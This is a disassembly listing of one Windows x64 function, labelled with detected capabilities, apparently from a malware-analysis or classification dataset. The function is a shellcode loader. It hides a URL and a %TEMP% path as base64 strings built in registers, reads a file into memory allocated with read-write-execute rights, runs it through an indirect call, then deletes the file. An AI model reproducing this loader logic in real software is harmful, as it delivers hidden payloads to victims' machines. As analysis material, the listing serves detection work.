Function at 0x1400023e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x408
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call sub.msvcrt.dll_srand
mov rsi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.wininet.dll
call rsi
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetOpenA
mov rbx, rax
mov rcx, rax
call rdi
lea rdx, str.InternetOpenUrlA
mov rcx, rbx
mov qword [0x1400ea088], rax
call rdi
lea rdx, str.InternetReadFile
mov rcx, rbx
mov qword [0x1400ea080], rax
call rdi
lea rcx, [0x1400bc0e9]
mov qword [0x1400ea078], rax
call rsi
lea rdx, str.RegOpenKeyA
lea rsi, sym.unk_13
mov r14, rax
mov rcx, rax
call rdi
lea rdx, str.RegQueryValueExA
mov rcx, r14
mov qword [0x1400ea070], rax
call rdi
lea rdx, str.DeleteFileA
mov rcx, r14
mov qword [0x1400ea068], rax
call rdi
mov ecx, 0x10
mov qword [rsp + 0x88], 0
mov qword [0x1400ea060], rax
call sym.operator_new_unsigned_long_long_
lea r8, [sym.unk_11]
mov qword [rax], rsi
lea rsi, [sym.unk_19]
mov qword [rax + 8], rsi
lea rsi, [rsp + 0x220]
mov qword [rsp + 0x220], rax
lea rax, [rsp + 0x88]
mov rdx, rsi
mov rcx, rax
mov qword [rsp + 0x48], rax
call sym.unk_2846
mov rcx, qword [rsp + 0x220]
test rcx, rcx
je 0x140002507
mov rax, qword [rcx]
call qword [rax + 8]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbp, rax
lea rdx, str.OpenProcess
mov rcx, rax
call rdi
mov qword [0x1400ea038], rax
lea rdx, str.SuspendThread
mov rcx, rbp
call rdi
mov qword [0x1400ea030], rax
mov ecx, 0x3d
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x90], rax
call sym.operator_new_unsigned_long_long_
movabs rdi, 0x766f446330524861
mov byte [rax + 0x3c], 0
movabs rbp, 0x7934534d78457a4c
mov ecx, 0x1d
mov qword [rax], rdi
movabs rdi, 0x77456a4d756b6a4d
mov qword [rax + 8], rbp
movabs rbp, 0x346f544e30496a4c
mov qword [rax + 0x10], rdi
movabs rdi, 0x7539304c7845444f
mov qword [rax + 0x18], rbp
movabs rbp, 0x3059545a756c4762
mov qword [rax + 0x28], rbp
movabs rbp, 0x3d3d41626b396a62
mov qword [rax + 0x20], rdi
movabs rdi, 0x704a6d4c3059545a
mov qword [rax + 0x2c], rdi
mov qword [rax + 0x34], rbp
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xa0], 0x3c
mov qword [rsp + 0x98], 0x3c
mov qword [rsp + 0x30], rax
mov qword [rsp + 0xb0], rax
call sym.operator_new_unsigned_long_long_
movabs rdi, 0x6c4158626c52564a
mov byte [rax + 0x1c], 0
movabs rbp, 0x70786d6250784658
lea rcx, [rsp + 0xd0]
mov qword [rax + 8], rbp
movabs rbp, 0x3d3457616935434e
mov qword [rax], rdi
movabs rdi, 0x32556d6270786d62
mov qword [rax + 0xc], rdi
mov qword [rax + 0x14], rbp
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x90]
mov rdx, rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0xc0], 0x1c
mov qword [rsp + 0xb8], 0x1c
mov qword [rsp + 0x50], rax
call sym.unk_26
lea rax, [rsp + 0xb0]
lea rcx, [rsp + 0xf0]
mov rdx, rax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x60], rax
call sym.unk_26
lea rbp, [rsp + 0x110]
mov rcx, qword [rsp + 0xf0]
mov r8d, 0x104
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rcx, qword [rsp + 0xd0]
mov rdx, rbp
call sym.unk_27
test al, al
je 0x140002a60
lea rdi, [rsp + 0x2f0]
mov rcx, rdi
mov qword [rsp + 0x40], rdi
call sym.unk_1839
mov rax, qword [0x1400c22a0]
xor edx, edx
pxor xmm0, xmm0
mov word [rsp + 0x3d0], dx
add rax, 0x10
movups xmmword [rsp + 0x3d8], xmm0
mov qword [rsp + 0x2f0], rax
mov rax, qword [0x1400c1e20]
movups xmmword [rsp + 0x3e8], xmm0
mov r12, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x3c8], 0
mov rax, qword [r12 - 0x18]
mov qword [rsp + 0x220], r12
mov qword [rsp + 0x38], rdx
mov qword [rsp + rax + 0x220], rdx
xor edx, edx
mov qword [rsp + 0x228], 0
mov rcx, qword [r12 - 0x18]
add rcx, rsi
call sym.unk_1799
mov rax, qword [0x1400c2000]
lea r13, [rsp + 0x230]
mov rcx, r13
add rax, 0x18
mov qword [rsp + 0x220], rax
mov rax, qword [0x1400c2000]
add rax, 0x40
mov qword [rsp + 0x2f0], rax
call sym.unk_1552
mov rdx, r13
mov rcx, rdi
call sym.unk_1799
mov r8d, 0xe
mov rdx, rbp
mov rcx, r13
call sym.unk_1637
mov rdx, qword [rsp + 0x220]
mov rcx, qword [rdx - 0x18]
add rcx, rsi
test rax, rax
je 0x140002a70
xor edx, edx
call sym.unk_1776
lea rcx, [rsp + 0x70]
mov rdx, rsi
call sym.unk_1924
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov r15, qword [rsp + 0x70]
call sym.unk_1926
mov rcx, r15
call sym.operator_new___unsigned_long_long_
mov r8, r15
mov rdx, rax
mov rcx, rsi
mov qword [rsp + 0x20], rax
call sym.unk_1919
mov rdx, qword [rax]
mov rdx, qword [rdx - 0x18]
test byte [rax + rdx + 0x20], 5
jne 0x140002a40
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x140002a80
mov r8, r15
mov r15, qword [rsp + 0x20]
mov rcx, rdi
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rcx, r15
call sym.operator_delete___void_
call rdi
mov rcx, rbp
call qword [0x1400ea060]
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
mov rbx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rbx
mov rcx, r14
call rbx
mov eax, 1
xchg byte [0x1400ea058], al
cmp qword [rsp + 0x88], 0
jne 0x140002a30
mov rax, qword [0x1400c2000]
mov rcx, r13
add rax, 0x18
mov qword [rsp + 0x220], rax
mov rax, qword [0x1400c2000]
add rax, 0x40
mov qword [rsp + 0x2f0], rax
mov rax, qword [0x1400c1fe0]
add rax, 0x10
mov qword [rsp + 0x230], rax
call sym.unk_1624
lea rcx, [rsp + 0x278]
call sym.unk_96
mov rax, qword [0x1400c2050]
lea rcx, [rsp + 0x268]
add rax, 0x10
mov qword [rsp + 0x230], rax
call sym.unk_143
mov rax, qword [r12 - 0x18]
mov rbx, qword [rsp + 0x38]
mov qword [rsp + 0x220], r12
mov rcx, qword [rsp + 0x40]
mov qword [rsp + rax + 0x220], rbx
mov rax, qword [0x1400c22a0]
mov qword [rsp + 0x228], 0
add rax, 0x10
mov qword [rsp + 0x2f0], rax
call sym.unk_1846
mov rcx, qword [rsp + 0xf0]
lea rax, [rsp + 0x100]
cmp rcx, rax
je 0x14000299e
mov rax, qword [rsp + 0x100]
lea rdx, [rax + 1]
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0xd0]
lea rax, [rsp + 0xe0]
cmp rcx, rax
je 0x1400029c4
mov rax, qword [rsp + 0xe0]
lea rdx, [rax + 1]
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0xb0]
mov rax, qword [rsp + 0x30]
cmp rcx, rax
je 0x1400029e7
mov rax, qword [rsp + 0xc0]
lea rdx, [rax + 1]
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x28]
cmp rcx, rax
je 0x140002a0a
mov rax, qword [rsp + 0xa0]
lea rdx, [rax + 1]
call sym.operator_delete_void__unsigned_long_long_
cmp qword [rsp + 0x88], 0
jne 0x140002adb
xor eax, eax
add rsp, 0x408
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x48]
call sym.unk_2844
jmp 0x1400028c7
mov rcx, qword [rsp + 0x20]
call sym.operator_delete___void_
mov eax, 1
xchg byte [0x1400ea058], al
jmp 0x140002842
mov eax, 1
xchg byte [0x1400ea058], al
jmp 0x1400026ef
mov edx, dword [rcx + 0x20]
or edx, 4
call sym.unk_1776
jmp 0x1400027f6
mov rcx, qword [rsp + 0x20]
call sym.operator_delete___void_
mov eax, 1
xchg byte [0x1400ea058], al
jmp 0x140002865
mov rcx, qword [rsp + 0x68]
call sym.unk_25
mov rcx, qword [rsp + 0x58]
call sym.unk_25
mov rcx, qword [rsp + 0x60]
call sym.unk_25
mov rcx, qword [rsp + 0x50]
call sym.unk_25
mov rcx, rbx
cmp qword [rsp + 0x88], 0
je 0x140002b33
call sym.unk_62
mov rbx, rax
mov rax, qword [0x1400c22a0]
mov rcx, qword [rsp + 0x40]
add rax, 0x10
mov qword [rsp + 0x2f0], rax
call sym.unk_1846
jmp 0x140002aa5
mov rax, qword [r12 - 0x18]
mov rsi, qword [rsp + 0x38]
mov qword [rsp + 0x220], r12
mov qword [rsp + rax + 0x220], rsi
xor eax, eax
mov qword [rsp + 0x228], rax
jmp 0x140002ae3
call fcn.14000e3d0
mov rbx, rax
jmp 0x140002b0d